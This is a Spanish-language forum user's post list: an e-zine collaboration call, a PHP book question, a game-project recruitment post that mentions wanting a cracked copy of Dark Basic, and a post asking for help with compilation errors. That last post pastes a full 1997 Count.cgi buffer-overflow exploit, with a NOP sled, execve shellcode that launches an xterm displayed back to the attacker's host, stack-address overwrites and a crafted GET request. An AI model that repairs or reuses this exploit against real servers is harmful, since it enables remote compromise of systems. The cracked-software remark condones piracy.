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Temas - Isirius

Páginas: [1]
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La taberna del BIT / <proyecto> “unir Comunidades” E-zine Insecurity
« en: Martes 17 de Julio de 2007, 19:32 »



Estoy aquí para comentaros a todos los miembros de esta comunidad una idea que he tenido.

Empecemos por el principio.

¿Qué es una e-Zine?

Es una revista electrónica en este caso relacionada con la informática totalmente gratuita.

¿Cuál es mi idea?

Mi idea es que entre todas las comunidades de la red tanto las de Windows, Hacking, Linux,

Diseño, etc. consigamos crear una e-Zine lo más completa posible.
Hay que decir  que la e-Zine InSecurity ya lleva dos números publicados que han sido muy bien aceptados.

Para ver los dos primeros números podéis mirar aquí:

http://www.ezine-insecurity.com/

¿Cómo aplicar esta idea?

Bueno he pensado que cada Comunidad que quiera participar lo único que deberá hacer es escribir un artículo sobre el tema que más se domine en el foro. Después en la e-Zine se pondrá el nombre y el banner de la web, así como la URL.  En la Web de la e-Zine lo mismo y como no, el nombre del autor y toda la información necesaria.

Duración del banner

Cuando una Comunidad haga una aportación tendrá el banner en la e-Zine durante dos publicaciones es decir si entregáis un artículo en el número 3 y en el número 4 no entregáis ningún articulo el banner y la información se mantendrá pero en la quinta ya no.

Cómo Participar

Todas aquellas personas que quieran participar, colaborar y publicar sus artículos en la e-Zine InSecurity pueden enviar sus artículos a:

colaborar@ezine-insecurity.com

Puntos a tener en cuenta:

-Si un artículo es enviado a esta dirección de correo no obliga a los participantes de la e-Zine a publicar dicho artículo.
-Si el artículo no es publicado en la e-Zine nos pondremos en contacto con el escritor para que mejore su artículo, o directamente será devuelto a su propietario para que él mismo pueda publicar dicho  artículo.
-Los artículos deben estar escritos con una mínima formalidad y coherencia, de forma que el mayor número de personas sea capaz de comprenderlo y si es posible y necesario imágenes que faciliten su entendimiento.

Presentación

Los artículos puede ser entregados en formato Microsoft Word o Open Office y si es posible las imágenes de máxima calidad.

Nombre del autor:

Comunidad :

Nacionalidad:

2 Banners “1 122x30”  “468x60”

Secciones

Linux

Windows

Wireless

Programación

Hack

Troyanos y Virus

Sección Libre (Opiniones, Noticias, etc.)

Seguridad

Redes

Si alguien quiere añadir una sección que se ponga en contacto conmigo.Con el mismo mail para colaborar.

Web
http://www.ezine-insecurity.com/

Porque al fin y al cabo a todos nos gusta lo mismo “la informática”.

Autor-Isirius

PD:Si quieres postear este mismo post en otra comunidad adelante.

Saludos

2
PHP / Php Libro
« en: Domingo 17 de Septiembre de 2006, 21:39 »
Queria saber que libro me recomiendan para aprender php a fondo o tambien si no hace falta comprarse el libro para aprendelro bien y si hace falat que libro me recomiendan gracias.

3
Programación de Videojuegos / Estamos Creando Un Proyecto
« en: Viernes 11 de Agosto de 2006, 22:20 »
Bueno estamos intentando reclutar mucha gente diseñadores programadores de C++ aqui entrais vosotros mm bueno este proyecto fue iniciando por Hendrix aqui va la explicacion al que le interese puede dejar su email que seara agregado puede ser divertido y si tiene exito estaria bien tener un propio juego no ¿? Yo tengo algunos atrticulos buenos sobre informacion bueno aqui va la documentacion de Hendrix:

Bueno, navegando enkontre un programa para ahcer juegos en 3D al estilo de Half-Life, Quake, Max Payne, Tomb Raider.....Y me pregunte, haber si entre todos podemos hacer un juego made in CI.....y aki os los propongo. Sera en un compialdor ke kreo ke nadie conocerta, asi ke de esto sabremos igual kasi todos (a no ser ke haya gente ke ya lo use). Aunke si se notara si programan o no en otros lenguajes (komo pasa siempre).

Entornos de Programacion 3D:

Weno, los posibles entornos de programación son:

- Entidad 3D
- Darck Basic (Mejor ke el Entidad creo y por cierto es dificil de konseguir crackeado, asi alguien lo tiene ke lo rule).
- DIV game studio 2 (Dicen que el lenguaje es parecido al C y sus resultados son buenisimos)
- Blitz
- Game Maker
- 3D GameMaker

Editores de Entorno:

Luego apra editores de entorno podriamos usar:

- Photoshop
- 3D Studio Max

Informacion:

Aqui podriamos encontrar informacion bastante buena:

- http://www.flipcode.com/articles/articles_summary.shtml
- http://www.vjuegos.org
- www.gamasutra.com
- www.gamedev.net
- http://www.publispain.com/supertutoriales/...os/1/1div_1.htm

Repartimiento del Grupo:

Basicamente habra estas "categorias".


Director de proyecto.
Programadores.
Guionistas.
Grafistas 2D.
Grafistas 3D.
Modeladores 3D.
Animadores 3D.
Creativos.
Músicos.
Betatesters.



Les va bien ke yo sea Drector del Proyecto?? lo digo puesto ke yo promovere este post, si no les gusta lo dicen...xD xD xD  

Kien se kiera apuntar ke postee y diga en ke seccion kiere estar (musicos no va a ser andie supongo, asi ke nos buskamos una musikilla de internet y ya sta...).

Bueno, si los moderadores/administradores ven ke esto tiene tirada que le pongan chincheta, ya que creo que esto sera interesante pueto que en ningun foro de hacking se a echo un juego suyo...xD xD xD

Otra cosa, el que se quiera apuntar que ponga un tema para hacer el juego, y se votara (en un post aparte) el tema que mas le guste a la gente (tema con una pekeña idea de lo ke se keire hacer).

Empiezo por dar mi idea:

- Yo kiero algo tipo Silent Hill o Resident Evil pero mas real, no se, si tanto monstruo ni nada de eso.

Espero ke colaboren, no me fallen!!!  
 Espero que se apunte muchsiima gente como mas mejor sera el juego y antes estara yo buscare mas gente dew

4
C/C++ / Herrores En Compilacion
« en: Sábado 1 de Julio de 2006, 15:28 »
/*

Count.cgi (wwwcount) linux test exploit
© 05/1997 by plaguez - dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.

*/


#include <stdio.h>
#include <stdlib.h>

char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";


/*

Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).

jmp 60
popl %esi
xorl %eax,%eax # efface eax
movl %esi,%ecx # recupere l'adresse du buffer
leal 0x18(%esi),%ebx # recupere l'adresse des chaines
movb %al,0x2c(%esi) # cree les chaines azt
movb %al,0x30(%esi) #
movb %al,0x39(%esi)
movb %al,0x4b(%esi)
leal 0x20(%esi),%edx # cree le char**
movl %edx,(%esi)
leal 0x2d(%esi),%edx
movl %edx,0x4(%esi)
leal 0x31(%esi),%edx
movl %edx,0x8(%esi)
leal 0x3a(%esi),%edx
movl %edx,0xc(%esi)
leal 0x10(%esi),%edx
movl %eax,0x10(%esi)
movb $0xb,%al
int $0x80 # passe en mode kernel
xorl %ebx,%ebx # termine proprement (exit())
movl %ebx,%eax # si jamais le execve() foire.
inc %eax #
int $0x80 #
call -65 # retourne au popl en empilant l'adresse de la chaine
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.ascii \"/usr/X11R6/bin/xterm0\" # 44
.ascii \"-ut0\" # 48
.ascii \"-display0\" # 57 au ;
.ascii \"127.000.000.001:00\" # 75 (total des chaines)
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
...
*/

char qs[7000];
char chaine[]="user=a";

unsigned long getesp() {
// asm("movl %esp,%eax");
return 0xbfffee38;
}

int main(int argc, char **argv) {
int compt;
long stack;

stack=getesp();

if(argc>1)
stack+=atoi(argv[1]);

for(compt=0;compt<4104;compt+=4) {
qs[compt+0] = stack & 0x000000ff;
qs[compt+1] = (stack & 0x0000ff00) >> 8;
qs[compt+2] = (stack & 0x00ff0000) >> 16;
qs[compt+3] = (stack & 0xff000000) >> 24;
}


strcpy(qs,chaine);
qs[strlen(chaine)]=0x90;

qs[4104]= stack&0x000000ff;
qs[4105]=(stack&0x0000ff00)>>8;
qs[4106]=(stack&0x00ff0000)>>16;
qs[4107]=(stack&0xff000000)>>24;
qs[4108]= stack&0x000000ff;
qs[4109]=(stack&0x0000ff00)>>8;
qs[4110]=(stack&0x00ff0000)>>16;
qs[4111]=(stack&0xff000000)>>24;
qs[4112]= stack&0x000000ff;
qs[4113]=(stack&0x0000ff00)>>8;
qs[4114]=(stack&0x00ff0000)>>16;
qs[4115]=(stack&0xff000000)>>24;
qs[4116]= stack&0x000000ff;
qs[4117]=(stack&0x0000ff00)>>8;
qs[4118]=(stack&0x00ff0000)>>16;
qs[4119]=(stack&0xff000000)>>24;
qs[4120]= stack&0x000000ff;
qs[4121]=(stack&0x0000ff00)>>8;
qs[4122]=(stack&0x00ff0000)>>16;
qs[4123]=(stack&0xff000000)>>24;
qs[4124]= stack&0x000000ff;
qs[4125]=(stack&0x0000ff00)>>8;
qs[4126]=(stack&0x00ff0000)>>16;
qs[4127]=(stack&0xff000000)>>24;
qs[4128]= stack&0x000000ff;
qs[4129]=(stack&0x0000ff00)>>8;
qs[4130]=(stack&0x00ff0000)>>16;
qs[4131]=(stack&0xff000000)>>24;

strcpy((char*)&qs[4132],shell);

/* Choose what to do here */
printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
/*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
setenv("QUERY_STRING",qs,1);
system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
system("/bin/sh");*/
liniablanca


bash-3.00# gcc veamos.c
veamos.c: In function `main':
veamos.c:167: error: syntax error at end of input
bash-3.00#

Me gustaria saber como arreglar los errores k me da el compilador gracias.

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